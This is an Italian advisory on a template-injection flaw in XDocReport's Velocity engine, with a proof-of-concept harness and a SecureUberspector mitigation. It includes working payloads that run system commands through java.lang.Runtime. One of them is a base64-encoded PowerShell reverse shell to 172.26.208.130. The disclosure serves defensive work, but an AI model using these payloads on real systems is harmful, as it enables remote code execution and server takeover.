
CVE-2026-38165 (SSTI)
Panoramica della vulnerabilità
Server-Side Template Injection (SSTI) è una vulnerabilità di sicurezza web che consente agli attaccanti di iniettare codice dannoso nei template utilizzati dai sistemi di gestione dei contenuti (CMS) e dai framework web, al fine di effettuare attacchi remoti, ottenere informazioni sensibili o eseguire attività di intrusione nel sistema.
SSTI è una variante della vulnerabilità Injection (come SQL Injection, XSS, ecc.), in cui gli hacker sfruttano l'uso di sistemi di template per distribuire codice dannoso da remoto. Quando un attacco SSTI ha successo, gli hacker possono eseguire il proprio codice sul server lato server, consentendo loro di effettuare attacchi remoti, come raccogliere informazioni sensibili, eseguire attività di intrusione e accedere a risorse non autorizzate.
La vulnerabilità SSTI si verifica spesso a causa dell'uso di sistemi di template non sicuri o della mancata verifica e gestione dei parametri di input prima di inserirli nei template. Se un attacco SSTI ha successo, le conseguenze possono essere gravi e causare ingenti danni all'organizzazione attaccata.
Impatto commerciale
La vulnerabilità SSTI può causare molte conseguenze gravi, tra cui:
Esecuzione di codice dannoso: L'attaccante può usare questa vulnerabilità per eseguire codice dannoso sul server, consentendo di rubare dati, compiere azioni illegali sul sistema, e persino controllare completamente il server.
Divulgazione di informazioni sensibili: SSTI può consentire all'attaccante di leggere, modificare o cancellare file sul server. Se questi file contengono informazioni sensibili, come account e password, l'attaccante può facilmente esporre queste informazioni.
Attacchi di minaccia o phishing: L'attaccante può usare SSTI per effettuare attacchi di minaccia o phishing, modificando il contenuto della pagina web o aggiungendo pulsanti personalizzati falsi. Se l'utente clicca su questi pulsanti, l'attaccante può rubare informazioni personali o installare malware sul computer della vittima.

fr.opensagres.xdocreport.template.velocity
È stata trovata una vulnerabilità di Server-Side Template Injection (SSTI) in OpenSAGRES XDocReport durante l'elaborazione di template DOCX con il motore velocity. In determinate configurazioni, template appositamente predisposti possono portare all'Esecuzione di Codice Remoto (RCE).
Il sito web di gestione delle risorse umane consente agli utenti di caricare file documenti .docx nel sistema. Durante l'elaborazione, l'applicazione utilizza il motore template velocity (nel file ) per renderizzare il contenuto senza alcun meccanismo di controllo o filtraggio dell'input.
Questa vulnerabilità consente all'attaccante di inserire espressioni dannose nel file .docx (template), portando all'esecuzione di codice remoto (RCE) sul server e può essere sfruttata per rubare informazioni o prendere il controllo del sistema.
fr.opensagres.xdocreport.template.velocity — XDocReport (versions =< 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

velocityEngine.evaluate(...) è il metodo standard/predefinito di Apache Velocity per valutare un template da un Reader (o da una String) utilizzando un Context e scrivere su un Writer. Esegue la sintassi VTL (Velocity Template Language) proprio come Template.merge(...)
evaluate: analizza da Reader/String → utile quando il template è dinamico/non fidato.
getTemplate(...).merge(...): carica un template già elaborato dal resource loader (caching, encoding…), poi esegue il merge. Per quanto riguarda l'esecuzione VTL, entrambi eseguono le stesse espressioni; la differenza principale è il luogo/modalità di caricamento del template.
.docx il cui contenuto è il seguente payload:
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result



#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


172.26.208.130
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

.docx a xdocreport per l'elaborazione

velocityEngineProperties.setProperty(
"runtime.introspector.uberspect",
"org.apache.velocity.util.introspection.SecureUberspector"
);
La classe Apache Velocity SecureUberspector è un sandbox introspector.
SecureUberspector bloccherà:
velocityEngineProperties.setProperty(
"introspector.restrict.classes",
"java.lang.Class,
java.lang.ClassLoader,
java.lang.Process,
java.lang.Runtime,
java.lang.System,
java.lang.Thread"
);
velocityEngineProperties.setProperty(
"introspector.restrict.packages",
"java.lang.reflect"
);
Blocca:
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Legge il file di input contenente l'espressione Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File di input
InputStream input = new FileInputStream(docxTemplate);
// Carica il template usando Velocity
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// Crea un context - può essere vuoto se si testano solo espressioni indipendenti
IContext context = report.createContext();
// Esporta in un nuovo file
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ File result.docx creato con successo.");
} catch (Exception e) {
System.err.println("❌ Errore nell'elaborazione del file:");
e.printStackTrace();
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>













